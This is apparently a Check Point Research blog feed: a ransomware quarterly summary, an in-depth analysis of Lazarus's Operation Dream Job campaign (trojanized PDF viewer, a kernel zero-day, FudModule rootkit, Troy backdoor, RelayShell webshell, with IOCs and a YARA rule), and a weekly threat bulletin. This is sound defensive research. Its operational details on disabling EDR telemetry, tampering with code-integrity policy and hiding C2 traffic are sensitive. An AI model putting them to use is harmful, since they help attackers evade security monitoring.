For the past year, the ransomware conversation has centered on concentration: a handful of dominant RaaS operations controlling most of the damage, and a shrinking pool of active groups fighting over the same territory. The State of Ransomware Q2 2026 report from Check Point Research shows that picture starting to shift. The leaders are still winning, but the road to joining them has gotten a great deal shorter.

Key observed findings 

• The ecosystem stayed concentrated even as its tail widened considerably. The top 10 groups accounted for 57.6% of all victims, down from 71% in Q1, while the number of active groups climbed from 71 to 93, a new high for the period tracked in this report. 
• Victim volume held at an elevated baseline and did not meaningfully change QoQ. Data leak sites recorded 2,139 victims in Q2, essentially flat versus Q1 (up 0.8%) and up 33% year over year, keeping pace with the highs set through 2025. 
• Qilin and The Gentlemen fought a close race for the top spot all quarter. Qilin remained the most prolific operator for a fourth straight quarter with 279 victims, though its count fell 17%, while The Gentlemen surged 62% to 269 victims and actually outpaced Qilin during the month of June. 
• An internal leak gave an unprecedented look inside The Gentlemen’s operation. Chat logs and platform data exposed a core team of roughly nine operators supported by a broader affiliate base, along with confirmation that the group used AI coding assistants to build its ransomware management panel in about three days, genuine first party evidence of AI accelerating malicious tooling development. 
• Ransom payment rates fell to a multi year low near 23%, continuing a six year decline from 85% in 2019. Even so, on chain ransomware payments still exceeded $820 million in 2025, and the payer market itself is splitting: average payments are rising even as the median falls, a sign that large enterprises keep paying heavily while the mid market increasingly holds firm or settles small. 
• Law enforcement concentrated its Q2 efforts on shared infrastructure rather than individual groups. Actions took down a cryptocurrency laundering platform used by multiple ransomware actors, prompted sanctions against major Iranian digital asset exchanges, dismantled a malware signing service abused by several RaaS operations, and disrupted large infostealer and VPN anonymization networks that many groups depend on at once. 
• The geographic picture shifted meaningfully. The US share of victims fell from 50% to 42% quarter over quarter, largely because the quarter’s fastest growing groups, including The Gentlemen and the newly active Krybit, target the US far less often than the ecosystem average. 
• The exploitation window kept narrowing, with AI increasingly cited as the accelerant. Vulnerabilities are now being weaponized within hours to days of disclosure, lowering the cost of exploit development and giving ransomware operators one more edge in the race to reach victims first. 

To read the full findings, access the State of Ransomware Q2 2026 report from Check Point Research here. 

The post The State of Ransomware Q2 2026 appeared first on Check Point Research.

Key Points

• Check Point Research is tracking a long‑running campaign called Operation Dream Job, targeting organizations worldwide, with a particular focus on the defense sector. The campaign is affiliated to DPRK-linked Lazarus group and its latest wave focuses on the defense sector in Europe and India.
• In the latest variant of the Operation Dream Job campaign, the threat actor distributed SecurityPDF, a modified PDF viewer designed to open attacker-crafted PDF documents and execute a new backdoor which we named Troy.
• During the intrusion, the threat actor exploited CVE-2026-68820, a zero-day vulnerability in the Microsoft AFD.sys driver, to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. Following Check Point Research responsible disclosure, Microsoft released a patch as part of their August Patch Tuesday updates.
• Lazarus also used CVE-2025-49113 to exploit vulnerable Roundcube webmail servers. The compromised servers were infected with RelayShell, a PHP webshell that repurposes compromised web servers as relay nodes within the attacker’s command-and-control infrastructure.
• At least in one case, a compromised organization in Western Europe was leveraged to conduct a spear-phishing campaign, allowing the attackers to abuse the organization’s reputation and trust to target additional victims.

Introduction

Since early 2026, Check Point Research has tracked a wave of the Operation Dream Job campaign. This wave primarily targeted the defense sector worldwide, with a particular emphasis on companies operating in the aerospace and aviation industries.

We observed the threat actor distributing modified PDF viewers designed to execute malicious payloads embedded within specially crafted PDF files, opened by the user. In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections.

During the operation, the threat actor deployed a new version of the FudModule rootkit, exploiting a zero-day local privilege escalation (LPE) vulnerability in the Windows AFD.sys driver, to obtain SYSTEM privileges and disable EDR visibility. Following responsible disclosure, Microsoft assigned the vulnerability CVE-2026-68820 and released a patch on August 11, 2026, as part of their August Patch Tuesday updates.

The attackers’ command-and-control infrastructure consists of compromised Roundcube and WordPress servers hosting RelayShell, a new PHP webshell that repurposes compromised web servers as relay nodes.

In this blog, we analyze the latest Operation Dream Job campaign, walking through the complete attack chain and providing a technical analysis of the malware and the novel techniques employed throughout the operation, offering new insights into the group’s evolving modus operandi.

Infection Chain

The Operation Dream Job campaign begins with targeted spear-phishing lures centered on attractive job opportunities at well-known companies in the defense, aerospace, and aviation industries.

The exact method used to approach victims in the current campaign remains unclear. However, based on previously documented Dream Job campaigns, we assess that the threat actor likely approached targets through professional networking platforms such as LinkedIn, or directly through messaging applications. Posing as recruiters, the attackers present enticing job opportunities and ultimately direct victims to download malicious files.

During our analysis, we identified two distinct infection chains used to compromise targets. While the second chain appears to represent a more recent evolution of the campaign, both infection methods remain active in parallel.

Infection Chain 1: DLL Sideloading chain

In this infection chain, the victim is convinced to download an encrypted zip archive containing three files:

• A legitimate, digitally signed PDF viewer executable.
• A malicious DLL that is loaded through DLL sideloading.
• An encrypted payload with a PDF extension.

When the victim launches the executable, the malicious DLL libmupdf.dll is loaded via DLL sideloading. The DLL extracts a decoy PDF document from the encrypted payload and displays it to the user, while simultaneously extracting, decrypting, and executing an embedded payload directly in memory.

The executed payload is MISTPEN, a lightweight in-memory downloader that uses Microsoft Graph API to access OneDrive in order to retrieve additional modules and run them in memory.

• Reconnaissance: During the initial stages of the infection, the threat actor deploys several reconnaissance modules that collect system and process information, allowing the attacker to verify that the system is a suitable target before proceeding with the next stage of the attack.
• Persistence: Once the target has been validated, MISTPEN receives an additional persistence module that installs the malware on disk and ensures that MISTPEN is automatically executed after system reboot.
• Privilege Escalation: After persistence is established, MISTPEN loads an in-memory local privilege escalation (LPE) module designed to exploit the zero day vulnerability CVE-2026-68820 in the Microsoft AFD.sys driver. Successful exploitation allows the malware to execute FudModule, Lazarus’ kernel-mode rootkit, with SYSTEM privileges.
• Backdoor Deployment: The final backdoor delivered by MISTPEN is the ForestTiger backdoor, a well-documented malware family widely attributed to the Lazarus threat group. Once deployed, it provides the attackers with long-term remote access to the compromised host.

Infection Chain 2: Trojanized PDF viewer

In July 2026, we observed a new campaign sharing many characteristics with previously documented Operation Dream Job, particularly the campaign described by ESET in 2025.

In this infection chain, victims receive fraudulent job offers impersonating Enveil, a Privacy Enhancing Technology company, and are instructed to download an encrypted ZIP archive containing two files:

• SecurityPDF – a trojanized PDF viewer that has been modified to extract and execute an encrypted payload from specially crafted PDF documents.
• A malicious PDF file – an encrypted payload disguised as a PDF document that is decrypted and executed when opened with the modified viewer.

SecurityPDF is a trojanized version of a legitimate open-source PDF viewer built on the MuPDF framework. The threat actor modified two code paths responsible for opening PDF documents: the File → Open dialog and the drag-and-drop file handling routine.

As a result, whenever a user opens a PDF document, the application checks whether the file contains the following marker This document is encrypted with sumatrapdf reader!!!!!!!!!!!!. If the marker is present, the application extracts the embedded payload, decrypts it using a single-byte XOR key (0x39), writes the resulting executable to %TEMP%\new.exe, and launches it as a child process.

The new.exe file is a small executable responsible for reflectively loading an embedded DLL containing the Troy backdoor, a previously undocumented backdoor first observed in this campaign.

In addition, we identified at least three websites impersonating Enveil that distribute the trojanized PDF viewer. Some of these websites rank highly in search engine results, with some even appearing as the top result for relevant search queries. It is important to note that the attacker only impersonates Enveil, and there are no indications that the company was targeted or compromised.

Although we did not directly observe how the threat actor incorporated these websites into the phishing campaign, we assess that they were likely used to separate the delivery of the trojanized PDF viewer from the delivery of the crafted PDF document. In this scenario, victims would first receive the malicious PDF file through a phishing message and later be instructed to download the PDF viewer from what appears to be the vendor’s legitimate website. Separating these infection chain stages reduces the likelihood of detection.

MISTPEN

MISTPEN is the first in-memory module executed during the attack chain. First documented by Mandiant in 2024, it functions as a lightweight downloader that uses the Microsoft Graph API to communicate through attacker-controlled files hosted on OneDrive and retrieve additional payloads

All files exchanged through OneDrive are encrypted with AES, using separate keys for uploads and downloads. MISTPEN’s primary capability is the reflective loading of PE DLL files directly into memory, enabling the deployment of additional payloads without touching disk.

Before delivering the final backdoor, MISTPEN often deploys several in-memory modules designed to perform specific tasks. These modules do not implement their own network communication mechanisms; instead, they execute their designated tasks and return the resulting data to MISTPEN, which uploads it to the C2.

Below is a description of the modules we observed being loaded by MISTPEN during our analysis.

GetInfoPlugin – Host Reconnaissance Module

This module is a 64-bit Windows DLL internally named Release_GetInfoPlugin_x64.dll. Its primary purpose is to profile the compromised host and return the collected information as a single wide-character string.

The module collects basic system information, including the machine’s domain or workgroup membership (via NetGetJoinInformation), the computer name, the current user name, and the operating system version and build number. The collected data is formatted in the following template and returned to MISTPEN:

Domain: <domain_or_workgroup>
ComputerName: <hostname>
UserName: <username>
OsInfo: <Windows product name> <build_number>.<UBR>

PvPlugin – Process List Module

This module is a 64-bit Windows DLL internally named Release_PvPlugin_x64.dll. It serves as an extended version of the GetInfoPlugin module, collecting the same host reconnaissance data while adding detailed information about running processes.

For each running process, the module collects the Process PID, PPID, creation timestamp, associated domain and user, and process name. The collected information is formatted into a tabular process list and returned to MISTPEN.

OneScreenCapture – Screenshot Module

This module is a 64-bit Windows DLL internally named OneScreenCapture64.dll, it is responsible for capturing the current desktop (including all monitors) and returns the screenshot to its caller.

The module uses standard Windows USER32 and GDI APIs to capture the virtual desktop into a bitmap. The bitmap is then converted to a JPEG image and Base64-encoded into a single wide-character string before being returned to MISTPEN for exfiltration.

LPE loader

This module is a 64-bit Windows DLL that acts as a loader for a local privilege escalation (LPE) exploit module. It is loaded by an extended version of MISTPEN that provides it with an RPC buffer used for communication between the two components. Messages written to this buffer are forwarded by MISTPEN to the attacker through its existing Microsoft Graph API communication channel, while responses received from the C2 are relayed back to the module through the same interface.

In addition to MISTPEN’s AES-based transport encryption, the module encrypts all exchanged data using GOST-CBC with a randomly generated 16-byte session key. The encrypted data is then Base64-encoded, with the session key prepended to each packet.

The module operates in four stages:

1. Host Fingerprinting – The module gathers detailed information about the compromised host, including the operating system version, build number, installed security products, and other system characteristics.
2. Key Exchange – The module requests a set of four public keys from the C2 server.
3. Session Key Generation – Using the received public keys, the module generates new key material using the Kyber/ML-KEM algorithm and transmits the resulting encapsulated key material back to the C2.
4. LPE Deployment – Finally, the module requests the encrypted LPE payload, decrypts it using the negotiated key, and executes it directly in memory with export DestroyEnv. Throughout the process, status messages are sent back to the C2 to indicate whether each stage of the exploitation succeeded.

The downloaded LPE payload is FudModule, Lazarus’ kernel-mode exploit module. It exploits a local privilege escalation vulnerability to obtain SYSTEM privileges and injects a payload into a SYSTEM process. In the observed attack, the injected payload was another instance of MISTPEN, allowing the malware to continue operating with elevated privileges and without EDR visibility.

CVE-2026-68820: Yet another Zero-Day discovered by Lazarus

The file we investigated, Afd4Eop12_x64.dll, has a compiler timestamp of July 7, 2026, 22:07:44 UTC. Its strings immediately suggest a variant of FudModule, including references such as “enable_god_mode passed.” and a main function similar to previous Fud Modules. FudModule is a Lazarus privilege escalation tool, reported and being used since around 2021.

The module targets afd.sys, the Windows Ancillary Function Driver, a part of the Windows kernel that is in charge of managing and handling sockets in Windows. In 2024, FudModule was reported to use another zero-day, CVE-2024-38193, a use-after-free vulnerability in the same afd.sys driver.

At first sight, the vulnerability looked similar to CVE-2025-60719, which is also a use-after-free vulnerability in the AFD.sys driver fixed in November 2025 and not linked to any particular threat actor. In the sample itself, we observed an explicit minimum-version check for Windows 11 build 26100 (24H2), with explicit support also for build 26200 (25H2). However, testing on the latest fully patched Windows 11 system confirmed that the exploit targets a distinct, previously undocumented vulnerability, actively being used in the wild as a part of Operation ‘Dream Job’ since at least early July 2026.

We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix. At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once.

The driver maintains a small piece of information about the state associated with each socket. Under specific concurrent conditions, two of its own code paths can operate on this state at the same simultaneously, without synchronization, creating a race condition If triggered at the right moment, one code path can access memory after it has already been released by another, resulting in a use-after-free vulnerability.

From there, the module does what these modules do – it leverages this memory corruption to obtain a kernel read/write primitive, which is subsequently used to achieve local privilege escalation to SYSTEM.

We disclosed the issue to Microsoft, and Microsoft issued a fix quickly.

Disclosure timeline

• Jul 28, 2026: Issue reported to the Microsoft Security Response Center (MSRC).
• Jul 31, 2026: Microsoft confirmed the bug
• Aug 5, 2026: Microsoft assigned CVE-2026-68820 to the issue.
• Aug 11, 2026: Fixed on Patch Tuesday.

FudModule v3.1

Except for a novel, completely different exploit chain, this FudModule’s post-exploitation behavior is quite similar to FudModule v3, reported by Gen Digital back in 2024.

Shared with v3

• The entire telemetry teardown suite: process, thread, and image notify callbacks; object and registry callbacks; minifilter removal by altitude band; and the termination of the NT Kernel Logger.
• Crash-dump suppression, executed before everything else.
• The WFP stage, which is activated when Kaspersky is present and Symantec is absent.
• The hardcoded ETW provider kill-list: its 94 GUIDs match the first 94 entries of Gen’s published 95-GUID list, in identical order.
• The driver selection engine, with the same universal preserve list and per-class keep and kill rules.
• Privileged-handle forgery and the same two-hop spawn through services.exe into a SYSTEM msiexec.exe process.
• Logging vocabulary, surviving essentially string-for-string, including: GetGodMode failed, GetSystemHandle passed., CreateRemoteProcess passed., RemoteDllExecute passed., and the ClearVaccine* family.

Functionality removed from v3

• The dedicated Microsoft Defender stage used to disable monitoring of MsMpEng.exe. Only the orphaned string SuspendDefender passed. remains, and is no longer referenced by executable code, while Gen’s FudModule v3 YARA rule contains the active-stage variant SuspendDefender skipped.
• The PPL stripping functionality targeting AhnLab’s asdsvc.exe.

Microsoft Defender is still blinded here, but only through the generic security-product suppression engine, like any other vendor, rather than through a dedicated Defender-specific stage.

New functionality since v3

• A Smart App Control tampering functionality not documented in publicly analyzed FudModule versions through v3. Within the SYSTEM-level msiexec.exe child process, its remote stub sets VerifiedAndReputablePolicyState to zero and invokes NtSetSystemInformation class 0xA4 with option 0x10000000, triggering an in-place reload of the code integrity policy.

Targeting

As mentioned before, this version only targets newer Windows builds 26100/26200, unlike the previous version that also targeted older ones.

Troy Backdoor

The Troy backdoor is a newly identified modular remote access trojan in Lazarus’ arsenal. Delivered as a 64-bit DLL, it supports 17 operator commands, providing a broad range of remote access and post-exploitation capabilities.

The name Troy is derived from a PDB path embedded in the sample: E:\HK\Tool_Module\Troy_Handle\1Troy_Create_Dll_Tool\x64\Release\Test_Dll.pdb. Notably, the term Troy has also appeared in PDB paths associated with previously documented Lazarus samples. For example, an ESET report published last year documented a sample containing a PDB path E:\Work\Troy\안정화\...

The Troy backdoor supports three Command and Control (C2) servers, each configured with a URL and port. At startup, the implant iterates through the configured servers in order, parsing each URL into its host and path components, establishing an HTTP connection, and issuing a connection request. It validates the response against the string CONNECTED and uses the first server that responds successfully.

The initial connection is followed by a challenge-response handshake used to authorize the implant against the server. Once authenticated, Troy collects host information and registers the victim by sending a client identifier and a system profile containing the user profile directory, account name, Windows version, local IPv4 address, and current working directory.

Following registration, Troy enters its command-processing loop. Tasks received from the C2 server are Base64-encoded; the implant decodes them and identifies commands using plaintext prefix matching. Command results are returned through the send channel in a compact JSON envelope: { "to":"<channel>", "msg":"<base64>" }. Responses that exceed the maximum message size are divided into numbered chunks and reassembled on the C2 side.

The Troy backdoor provides a notably broad feature set for a single-DLL implant, and a cohesive design. Its seventeen supported commands span the capabilities required for each stage of post-compromise operations, from initial reconnaissance and file operations, to command execution and in-memory code delivery, while following a consistent tasking and result-framing model throughout.

Troy Backdoor Supported C2 Commands

Command	Capability	What it does
WAIT	Keepalive	Server-side no-op that keeps the session alive and feeds the idle back-off counter.
DRIVES	Drive enumeration	Reports every mounted volume letter present on the host.
LIST|<path>	Directory listing	Enumerates a directory with names, sizes and timestamps, sending the listing length first and the listing itself second.
OPEN|<exe> [args]	Process creation	Launches an executable with arguments in a hidden window with no console.
DELETE|<path>	File and folder deletion	Removes a single file, or an entire directory tree through a silent shell file operation.
ZIPDOWNLOAD|<src>|<dst>	Archive and exfiltrate	Compresses a path with PowerShell Compress-Archive into a temporary archive, uploads it, then removes the archive.
DOWNLOAD|<victim-source>|<client-destination>	File exfiltration	Streams a file from the victim to the operator in chunks.
UPLOAD|<client-source>|<victim-destination>	File drop	Writes an operator-supplied file to disk, appending the filename when the destination is a directory.
CMD|<commandline>	Interactive shell	Runs a command and captures its output, tracking cd /d so the working directory persists between commands, with a 10 second execution watchdog.
mem <dllpath> <pid>	In-memory DLL injection	Maps a DLL into a remote process using an embedded reflective loader, matching architecture before injecting.
pk <pid>	Process termination	Terminates a process by identifier and reports the outcome.
sleep <N>	One-shot delay	Pauses the implant for N minutes without changing the stored interval.
DEFAULTSLEEP	Configured delay	Acknowledges, then pauses for the currently configured beacon interval.
GET_CONFIG	Configuration read	Returns the stored configuration as eight fields covering the client ID, the sleep interval, and the three server and port pairs. The stored values may differ from the connection actually in use.
SET_CONFIG|	Configuration update	Writes eight replacement fields into stored configuration state. Only the idle interval takes effect at runtime, because the connection loop does not read the stored servers and the port remains hardcoded to 80.
pvd	Process listing with command lines	Enumerates processes with session, owner and start time, enriched with full command lines retrieved over WMI.
pv	Process listing	The same enumeration without the command line column.

Compromised Infrastructure Used as ForestTiger C2

As previously reported, ForestTiger’s C2 infrastructure has historically relied primarily on compromised servers mainly running WordPress and SharePoint. In more recent campaigns, the threat actor appears to have shifted toward using compromised Roundcube webmail servers as C2 infrastructure.

The majority of the Roundcube servers we analyzed were running versions vulnerable to CVE-2025-49113, a critical PHP Object Deserialization vulnerability that can lead to remote code execution (RCE). Exploitation of this vulnerability requires authentication with valid Roundcube credentials. During our investigation, we identified several credential leaks that are available in the Darkweb, and contain usernames and passwords associated with accounts on the compromised webmail servers. We assess that the threat actor likely leveraged these credentials to authenticate to the affected Roundcube instances before exploiting CVE-2025-49113 to deploy RelayShell web shells, which subsequently serve as a C2 relay mechanism.

In addition, we observed the threat actor compromise PrestaShop websites and deploy the same RelayShell web shell.

RelayShell

Following the post-exploitation of a web server, the threat actor deployed a previously undocumented PHP web shell that we named RelayShell. Unlike a traditional web shell that provides direct command execution, RelayShell primarily acts as a communication relay between the threat actor and an infected endpoint.

RelayShell operates in two distinct modes, selected by the password supplied in the HTTP POST request. For clarity, we refer to these as Victim mode and Operator mode.

Victim Mode

When accessed using the victim password, RelayShell creates a new PHP session that is subsequently used for communication with the infected endpoint.

The webshell then decrypts a hidden configuration stored in an external file using a custom substitution cipher. The configuration contains two values:

• A backbone URL
• A unique identifier (PID) assigned to the compromised server

RelayShell then immediately sends an HTTP POST request to the configured backbone URL using the unique identifier and authentication password.

Based on our analysis, the backbone URL appears to point to another RelayShell instance acting as an upstream relay or notification server. This request signals that a new victim session has been established, allowing the operator to subsequently connect using the second password.

Operator Mode

When accessed using the operator password, RelayShell enters operator mode, providing a set of commands for interacting with the compromised server. These commands support session management, connectivity checks, file upload and deletion, and retrieval of activity logs.

Command Type	Description
Session auth / selection	Scans existing .ses files, picks the latest session, and returns its data.
Check & cleanup	Updates configuration, deletes old session/log/temp files, and checks connectivity to the backbone URL.
Download log	Sends back the encoded log file containing activity records.
File upload	Writes an arbitrary file to disk, using Base64‑encoded filename and content.
Self‑delete / file removal	Self-delete  Deletes a specified file (provided as Base64‑encoded path).

File-Based Communication Channel

After both the victim and operator sessions are established, RelayShell provides two commands, send and receive, which implement a lightweight file-based communication channel using temporary files stored on the compromised server.

Messages are exchanged through files following the naming convention <session_id><object>.log where object identifies the side of the communication channel: 1 for the victim and 2 for the operator.

When sending data, RelayShell writes the supplied content to the session file corresponding to the sender. When receiving data, RelayShell reads and returns the contents of the file corresponding to the opposite side, creating a bidirectional communication between the victim and the operator.

This mechanism effectively turns the compromised web server into a relay node. The victim-side implant establishes the session and notifies the backbone server that is monitored by the threat actor , after which the actor connects to the RelayShell instance and exchanges commands and responses through the file-based messaging channel.

During our investigation, we observed the threat actor accessing RelayShell through shared VPN services, including ExpressVPN, further obscuring the origin of their infrastructure.

We also identified 17 unique identifiers, suggesting that at least 17 compromised servers were likely used as relay nodes during the campaign. However, we were unable to identify all of the affected servers.

Victimology

This new Operation Dream Job campaign focused heavily on the defense sector, particularly organizations involved in military technologies such as surveillance sensors, drones, and robotics. The campaign had a global reach, with activity extending into South America, including Brazil, and successful targeting observed in Western Europe, including France and Germany.

During the campaign, a compromised organization headquartered in France was later leveraged by the threat actor to conduct spear-phishing attacks against targets worldwide, likely to increase the perceived campaign’s authenticity and credibility.

Another notable target was India, which has a substantial and rapidly growing defense and aerospace industry, with expanding domestic production and technology exports.

Conclusion

The latest Operation Dream Job campaign demonstrates that Lazarus continues to evolve both its malware capabilities and operational tradecraft. Beyond deploying a new version of FudModule that exploits the CVE-2026-68820 zero-day vulnerability, the threat actor also refined its initial access techniques by combining targeted spear-phishing with impersonation websites and search engine optimization (SEO) to distribute trojanized software.

The threat actor’s decision to rely on compromised Roundcube instances and content management system (CMS) servers for C2 reflects an operational approach well suited to highly monitored defense-sector environments, where network activity may be closely inspected by organizational security teams as well as government and national cybersecurity authorities. By abusing legitimate web infrastructure, the threat actor can better blend malicious communications within normal network traffic.

Our findings highlight Lazarus’s continued evolution toward stealthier and more resilient operations, combining new delivery techniques, modular malware, zero-day exploitation, and compromised web infrastructure. We believe the technical details presented in this research will help defenders identify, detect, and disrupt future Operation Dream Job campaigns.

IOCs

DLL Loader\Dropper
2b4987c07a3d9a9a5d1a9bf4efa3d1903e775090b611710edafdc92874265ca8
3a02d0d798e8d35555776886d92b20ff38a101c9ef7e0eebc8ce5d259516525a
92106b0c62a0a42678232f8273f030b2d3c8e92efce81b98b9eec70cfe98afa1
396192d92d17ace1a521f1351eeeba2825e60badd0d799cc5c338e4934b3c82c
f7e620134ca935067797ab957317b346ce0df84a4e9b9ca54a6acc9b75afda4d
75b93a7103b0562f6497d30052c0c5cf7aa58c1bf0e9297022b74469a7f096f1
a45144d22cac70a45d71cf4dffa4efbc373658779a56cf1300d6ac863d6cc7e2
1de949c71efcfb0ffc41f33d38833dbc4b082075b1a540fc68c18c535d7ad86c
4c9b804d6155b29f1e27a9ffe531e10bc42a7bdab42f905b50146bf2026768d9
29e24c007549e51319ff3aee011da6f9f93568e8c85a5ad69c9e53bd3f4533a2
4ebdce2f47c23ff8c9e8e80c8b5239c7a5764da31cd3ab8f0505926890adc105
c2aa28bb5e2a749c693712008276f311edd912f689371ef9e8a1ee5fb4167461

MISTPEN
2db25ac41a66aa523c79e23e00443573530dd7bd82b8371bcc87bd7232e141eb
5278ee922838352f1480a73e971161017d643a80b7ec22bf725897dfd088696d
b4082d21070d9ddf53fde4ea22524d09e41ec9826ce63cef3c6235e458d21afb
fb3fc5626f68677fb1269a2fefbe70e719211b4065e836ab92e06a8210139a2d
ea7056f2bf36c66a61ff787ff5be975a85f534c3c5ca178791dac2504db2c619
13d10bc99f7f7abe7ee0902be87920b73b2ea41bd9683dbfcad340dacbcdef79
4fd32432341dfcf54d0517a6bbc38e5d265be70933493e4183c2a340cdde9a2d
4dd792c9f672bbdcc8d363d745994efe90f4ffc5fdc2c059c8e379a48ad6a68a
ba96c603e44046de703c67b2c3b7e4ca974afef7b437a0244418bc4edc781bb7

ForestTiger
72dccae85e062f541fecad9ec7a18a3123e7ae5ac5d53c91709b53a46dbbd289
231b1ef8b95bf77887d5377e2a60f649035e78f543af1b82877db36a5759d858
6da9b1e6f3315ceb77dd14a937a26cc3602bf6a7e2c2ecafb3c65ce5319837be
a0578a2b7821d7e2c573530648f26d7a0d98b373ab24fb7f0c792736761e542d
82268052f94df6f4870d02e57b18d4c54136cc7a8c8d80ad162631f99462c943

FudModule
3b6378df8442e63a6ed7317075913e4720847a510d95022d4a8347b2637c245d

PDF Payload
a673ae661593c0de9bbb815593b816a6853dad6d55ad5042d2ef1875cd13d6e7
8ce6c29f92dc45b1474417cbdff4ed0c18e58fa63e3a071ee9f85aa9d2aac07c
acb97cec84e08b89f41967a24e965d1fd2c51751cef158f7aa35bb4306b87b97
3601060c62edeeaa49def6a13be6e126e1024ce011faad4e2d9f585ccf6bd5a6
fecf12088843801215898442bd1ff3e266f29d14e29a94780e857f69c4915d6b
d578c28c9afe7457a0d81f6701332ef8197e8f7468de654935fb29a50ea66459

SecurityPDF.exe
743172aab606974b054a64561534ae66baa3a840657f79d7c6fa18350e8d45d1
db3d69b7eeda2e35e23006bf4b7e206281fce809584207214fc213f9bc30376d

Troy Backdoor
590fb6ae19480d694e08ee85859cad8066f2f87e7e5abba2960c6d115e1615d6
68d4fba7b1300a59cd6212c08910a260cd71b40cd9f51cac933030a68faac0bb
a738059ce07c951c31ab2da3d93d8f69bff32f9b7d933dbf5943441b9cc99075

RelayShell
21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762
cc4e06aa378a190f71384c03023bb3d18a6d66e297d46701220e132963d2e222

SecurityPDF Website & Troy C2
envell[.]xyz
enveil[.]online
uxtramine[.]org
135.181.67[.]203
135.181.185[.]158

YARA – RelayShell Webshell

rule lazarus_relayshell
{
  meta:
    author = "@_CPResearch_"
    description = "Lazarus RelayShell Webshell"
    target_entity = "file"
    hash = "21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762"
  strings:
    $str1 = "'PqCWom'"
    $str2 = "'a84038'"
    $str3 = "'biwbih'"
    $str4 = "'ddf7acea'"
    $str5 = "'enRU904U'"
    $str6 = "'fou2rm'"
    $str7 = "'kurhiW'"
    $str8 = "'qcrgl'"
    $str9 = "'rlzbiw'"
    $str10 = "'tmmvr1'"
    $str11 = "'win386'"
    $str12 = "\"biwbih\""
    $str13 = "\"PqCWom\""
    $str14 = "\"a84038\""
    $str15 = "\"ddf7acea\""
    $str16 = "\"enRU904U\""
    $str17 = "\"fou2rm\""
    $str18 = "\"kurhiW\""
    $str19 = "\"qcrgl\""
    $str20 = "\"rlzbiw\""
    $str21 = "\"tmmvr1\""
    $str22 = "\"win386\""
    $str23 = "D9hWnVEqdgzJ67/B8euS0yKCIMrw5jc:fGUX3AakLH2oYQRp"
  condition:
    3 of ($str*)
}

The post Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 10th August, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• North Carolina Ports, the US authority operating the ports of Wilmington, Morehead City and others, has suffered a cyberattack that forced some operations onto manual processes. The authority claims it has contained the intrusion, but degraded systems caused delays while affected services were restored.
• Ryde, an electric scooter operator in Scandinavian countries, has disclosed a data breach affecting all 4.5 million customer accounts across Norway, Sweden, Finland, and Germany. Attackers copied phone numbers, email addresses, birth dates, partial payment card numbers, and payment histories. Full card numbers and ride histories were unaffected.
• Canadian hardware wallet maker Coinkite has disclosed a theft campaign exploiting a Coldcard firmware vulnerability, with at least 1,367 bitcoin worth about $88.6 million stolen from thousands of addresses. The company halted affected shipments, destroyed vulnerable inventory, and released patched firmware after confirming exploitation against customer wallets.
• Beacon, a UK provider of customer relationship management software for charities, has disclosed a data breach after attackers compromised an access key. The company notified around 1,500 nonprofit customers that database information, donation records, and stored attachments may have been downloaded. Payment and bank details were not affected.

AI THREATS

• Check Point Research has demonstrated that Cloudflare Code Mode, which allows AI agents to write TypeScript against tools, inherited five vulnerabilities from the workerd runtime. The flaws could enable sandbox escape and cross-tenant data exposure. Cloudflare rated two issues Critical and fixed its managed Workers environment.
• Researchers have disclosed vulnerabilities in Google Gemini CLI and Anthropic Claude Code that could expose automation environments to code execution and API key theft. CVE-2026-12537, rated CVSS 10.0, affected Gemini CLI workflows, while CVE-2026-54316 affected Claude Code. Both vendors released patched versions.
• Researchers have detailed AI-enabled identity fraud kits that automate know-your-customer bypasses across banks, fintech companies, and cryptocurrency exchanges. Tools such as ProKYC can generate identity documents, selfie-with-ID images, spoofed location data, and synthetic video used against document, selfie, and liveness checks during remote onboarding.

VULNERABILITIES AND PATCHES

• Cisco has released fixes for multiple critical vulnerabilities in Catalyst SD-WAN and IOS XE software disclosed on August 5. The highest-severity issues carry CVSS scores up to 9.9 and can enable privilege escalation, code execution, or system compromise. Cisco also addressed additional high and medium-severity flaws across network management products.
• WordPress has released version 7.0.3 to address CVE-2026-64638, a high-severity Core vulnerability known as XSS2Shell. The flaw can turn a failed login into pre-authentication cross-site scripting and, under specific conditions, remote code execution. Fixes were also backported for supported WordPress branches dating to version 4.7.
• TP-Link has addressed 15 vulnerabilities in its Omada provisioning ecosystem affecting controllers, network devices, mobile applications, and VIGI cameras. The flaws include device impersonation, credential exposure, and remote code execution risks during provisioning. 11 flaws received CVE identifiers, and patched firmware has been released for affected products.
• A vendor-installed backdoor has been identified across at least 20 Zbtlink router models sold under brands including Wiflyer and ZBT. The remote-management component contacts hardcoded servers and can accept unauthenticated commands with root privileges. Researchers reproduced the behavior by impersonating the vendor server and obtaining a root shell.

THREAT INTELLIGENCE REPORTS

• Researchers have identified the Shai-Hulud CHAINDROP supply-chain campaign, which backdoored more than 400 npm packages after attackers compromised the maintainer of the widely used keyv library. The malware executes through a preinstall hook, steals developer tokens, and republishes modified packages, affecting an ecosystem with roughly 1.3 billion monthly downloads.
• Researchers have uncovered a campaign targeting large US financial firms in which callers impersonate coworkers or IT staff to capture passwords and multi-factor authentication codes through spoofed websites. The actors, tracked as UNC6671, then threaten victims with data leaks and have issued ransom demands ranging from $750,000 to $3 million.
• Researchers have revealed a macOS ClickFix campaign using more than 250 look-alike domains to distribute MacSync and Atomic Stealer malware. The operation evolved to fingerprint visitors before displaying malicious instructions, allowing attackers to target genuine macOS users while concealing the campaign from automated security scanners and analysis systems.
• Researchers have documented a campaign that uploaded nearly 800 malicious npm packages delivering cross-platform RAT and infostealer malware. The packages instructed developers to import them, activating the WEL1DROPPER downloader. It retrieved payloads through Cloudflare Workers or DNS TXT records, established persistence, and deployed additional malicious tools.

The post 10th August – Threat Intelligence Report appeared first on Check Point Research.

By Yarden Porat, Check Point Research

Key Points

• Check Point Research analyzed Cloudflare Code Mode, a technique that changes how AI agents use MCP by turning tools into a TypeScript API the model can write code against.
